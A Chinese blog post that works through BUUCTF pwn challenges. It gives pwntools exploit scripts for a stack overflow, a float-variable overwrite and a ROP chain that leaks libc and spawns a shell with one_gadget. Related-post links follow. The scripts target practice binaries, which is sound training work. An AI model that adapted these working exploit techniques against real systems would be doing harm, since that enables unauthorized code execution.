在做buu题目的时候,发现在最上面有几道被各位师傅打到1分的题,强迫症逼迫我去做那几道题。

  这里来试着去解决这些题。。。讲真的,我感觉自己刷题真的少,即使是很简单的栈题目,我还是能学习到新的东西。这里就记录一下这几道题。

  pwn1_sctf_2016

  检查了一下保护,32位程序,只开启了堆栈不可执行。直接ida看一下伪代码吧。

  看代码也就是一个简单的栈溢出。但是我并没有自己做出这道题,太菜了。。。大一下学期我们有开设C++这门课,但是我由于一些事情,在家休息了一个多月,结果课也落下了。。。太痛苦了,C++吃亏在这里了,总要补的。。。

  其实这个CTF就应该半分做,半分蒙。可以看到fgets是对我们输入的内容进行了限制,所以我们不能溢出到返回地址,但是可以看到两个字符串“I”和“you”,其实应该输入这几个字符串进去看看是什么意思的。

  这里其实是一个回显,但是你如果输入“I”的话,就会给你自动转换成you,所以就解决溢出不到返回地址的问题了。接下来就是计算了。题目本身有可以直接拿shell的函数,直接返回地址转到那个shell 的地址就行了。还是羞耻的贴一下exp:

  

 1 from pwn import *
2
3 p = process('./1')
4 context.log_level = 'debug'
5
6 shell_addr = 0x08048F0D
7
8 payload = 'I'*21 + 'b' + p32(shell_addr)
9 p.sendline(payload)
10 p.recv()
11 p.recv()

  

  ciscn_2019_n_1

  64位程序,保护只开启了堆栈不可执行。

  老套路,IDA看一下伪代码。

  

  可以看到这里gets是可以进行溢出的,但是这道题我们没有必要进行溢出,只要覆盖到v2,让v2==11.28125就可以了。

  接下来就是要明白浮点数如何在内存中表示了。

  所以11.28125用二进制表示的话,就是1011.01001,但是计算机可不会知道哪里有小数点,计算机只会识别01,至于这些01表示什么,那是由人定义的。就像这里,人们把这个定义为浮点数,当呈现在我们面前的时候,就是按照浮点数给我解释的。

  一个浮点数占有四个字节,一个字节由两个四位二进制数表示,那么大概就是这么个意思。

  xxxxxxxx xxxxxxxxx xxxxxxxx xxxxxxxx

  每个x都是占一个位,而对于浮点是计算机是怎么进行解释的呢?

      如你所见,32位每一位都有意义。

  符号位(Sign) : 0代表正,1代表为负

  指数位(Exponent):用于存储科学计数法中的指数数据,并且采用移位存储。

  尾数部分(Mantissa):尾数部分

  还是拉回来,看1011.01001 = 1011.01001*2的0次方 == 1.01101001*2的3次方

  因为是正数,所以符号位为0

  指数为127+1==128,127是一个偏移,这个偏移是由于说这个指数可能是负数,用这个指数位的时候需要先减去127再用,所以这里是127。(你或许没有听懂...大概意思有个组织这么规定了指数的正负)3就就是上面2的次方。

  再看尾数部分,尾数部分是01101001,接下来我们试着来写一下这个二进制数

  0    1000 0010    0110 1001 0000 0000 0000 000

  所以连起来就是01000001001101001000000000000000

  转换成16进制就是0x4134800,所以我们把V2的位置覆盖成这个数字就行了。

  贴一下exp:

1 from pwn import *
2
3 p = process('./ciscn_2019_n_1')
4 elf = ELF('./ciscn_2019_n_1')
5 context.log_level = 'debug'
6
7 payload = 'a'*(0x30-4) + p64(0x41348000)
8 p.sendlineafter('number.\n',payload)
9 p.recv()

  

  ciscn_2019_c_1  /   ciscn_2019_en_1

  感觉两道题长得一模一样。。。用一个exp都打通了。

  检查保护,64位程序,只开启了堆栈不可执行。

  emmmmmmm,简单的rop,溢出leaklibc然后拿到shell。

  用system拿不到shell,用one_getgad可以。

  直接贴exp了:

  

 1 from pwn import *
2
3 #p = process('./ciscn_2019_c_1')
4 p = remote('node3.buuoj.cn',27137)
5 elf = ELF('./ciscn_2019_c_1')
6 context.log_level = 'debug'
7
8 pop_rdi = 0x00400c83
9 sh = 0x0040045c
10 puts_plt = 0x004006E0
11 puts_got = elf.got['puts']
12 start = elf.symbols['_start']
13 #start = 0x0004009A0 //encry fun
14
15 p.sendlineafter('choice!\n','1')
16 payload = 'a'*0x50 + 'bbbbbbbb'
17 payload += p64(pop_rdi) + p64(puts_got)
18 payload += p64(puts_plt) + p64(start)
19 p.sendlineafter('encrypted\n',payload)
20 sleep(0.1)
21 p.recv(0x67)
22 puts_addr = u64(p.recv(6).ljust(8,'\x00'))
23 print hex(puts_addr)
24 base_addr = puts_addr - 0x0809c0
25 system_addr = base_addr + 0x04f440
26 binsh_addr = base_addr + 0x1b3e9a
27 shell_addr = base_addr + 0x4f322
28
29 sleep(0.1)
30 p.sendlineafter('choice!\n','1')
31 payload = 'a'*0x50 + 'bbbbbbbb'
32 payload += p64(shell_addr)
33 p.sendlineafter('encrypted\n',payload)
34 sleep(0.1)
35 p.recv()
36 p.interactive()
37
38 '''
39 0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
40 constraints:
41 rsp & 0xf == 0
42 rcx == NULL
43
44 0x4f322 execve("/bin/sh", rsp+0x40, environ)
45 constraints:
46 [rsp+0x40] == NULL
47
48 0x10a38c execve("/bin/sh", rsp+0x70, environ)
49 constraints:
50 [rsp+0x70] == NULL
51 '''

&pwn1_sctf_2016 &ciscn_2019_n_1 &ciscn_2019_c_1 &ciscn_2019_en_2&的更多相关文章

  1. buuctf@ciscn_2019_en_2

    from pwn import * context.log_level='debug' io=process('./ciscn_2019_en_2') libc=ELF('./libc.so') el ...

  2. [BUUCTF]PWN9——ciscn_2019_en_2

    [BUUCTF]PWN9--ciscn_2019_en_2 题目网址:https://buuoj.cn/challenges#ciscn_2019_en_2 步骤: 例行检查,64位,开启了NX保护 ...

  3. buuctf@ciscn_2019_n_1

    from pwn import * #io=process('./ciscn_2019_n_1') io=remote('node3.buuoj.cn',28216) io.sendline(0x38 ...

  4. buuctf@ciscn_2019_c_1

    from pwn import * context.log_level='debug' #io=remote('node3.buuoj.cn',29121) io=process('./ciscn_2 ...

  5. ciscn_2019_c_1

    0x01 检查文件,64位 检查开启的保护情况 开启了NX保护 0x02 IDA静态分析 在主函数这里并没有常见的gets栈溢出,尝试再这里面的子函数找找,发现了encrypt函数,进去查看 发现这个 ...

  6. (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016

    [buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...

  7. [BUUCTF]PWN4——pwn1_sctf_2016

    [BUUCTF]PWN4--pwn1_sctf_2016 题目网址:https://buuoj.cn/challenges#pwn1_sctf_2016 步骤: 例行检查,32位,开启nx(堆栈不可执 ...

  8. [BUUCTF]PWN6——ciscn_2019_c_1

    [BUUCTF]PWN6--ciscn_2019_c_1 题目网址:https://buuoj.cn/challenges#ciscn_2019_c_1 步骤: 例行检查,64位,开启了nx保护 nc ...

  9. [BUUCTF]PWN5——ciscn_2019_n_1

    [BUUCTF]PWN5--ciscn_2019_n_1 题目网址:https://buuoj.cn/challenges#ciscn_2019_n_1 步骤: 例行检查,64位,开启了nx保护 nc ...

随机推荐

  1. 构建“元宇宙”,有哪些3D建模方式?

    "沉浸.3D世界.虚拟社交.虚拟购物",最近"元宇宙"的概念特别火.人们畅想通过AR/VR以及其他互联网技术,把现实世界的楼房街道.天气温度.人际关系等投射到虚 ...

  2. pycahrm下载

    下载地址: https://www.jetbrains.com/pycharm/download/#section=windows 下载社区版本,不用破解,可以直接使用

  3. 洛谷 P6295 - 有标号 DAG 计数(生成函数+容斥+NTT)

    洛谷题面传送门 看到图计数的题就条件反射地认为是不可做题并点开了题解--实际上这题以我现在的水平还是有可能能独立解决的( 首先连通这个条件有点棘手,我们尝试把它去掉.考虑这题的套路,我们设 \(f_n ...

  4. Atcoder Grand Contest 008 E - Next or Nextnext(乱搞+找性质)

    Atcoder 题面传送门 & 洛谷题面传送门 震惊,我竟然能独立切掉 AGC E 难度的思维题! hb:nb tea 一道 感觉此题就是找性质,找性质,再找性质( 首先看到排列有关的问题,我 ...

  5. Atcoder Regular Contest 093 D - Dark Horse(组合数学+状压 dp)

    Atcoder 题面传送门 & 洛谷题面传送门 常规题,简单写写罢((( 首先 \(1\) 的位置是什么不重要,我们不妨钦定 \(1\) 号选手最初就处在 \(1\) 号位置,最后答案乘个 \ ...

  6. LeeCode刷题笔记

    (本来想在LeeCode题目页面上做注释的,结果没找到位置,只好来这里了) 字符串部分: 14.最长公共前缀:编写一个函数来查找字符串数组中的最长公共前缀. 示例 1: 输入: ["flow ...

  7. 毕业设计之LVS+keealive 负载均衡高可用实现

    环境介绍 centos6.9最小化安装 主机名 IPADDR lvsA.load.quan.bbs 192.168.111.131 lvsB.load.quan.bbs 192.168.111.132 ...

  8. UE4之Slate:App默认窗口的创建流程

    UE4版本:4.24.3源码编译 Windows10 + VS2019开发环境 在先前分享的基础上,现在来梳理下App启动时默认窗口的创建流程,以及相关的类.对象之间的抽象层级: 纯C++工程配置 S ...

  9. acupuncture

    acute+puncture. [woninstitute.edu稻糠亩] To understand the basics of acupuncture, it is best to familia ...

  10. Android 极光推送集成

    集成Jpush 1.用Android Studio创建一个Demo 2.创建激光推送开发者账号,要创建极光推送开发者帐号,请访问极光推送官方网站https://www.jiguang.cn/push ...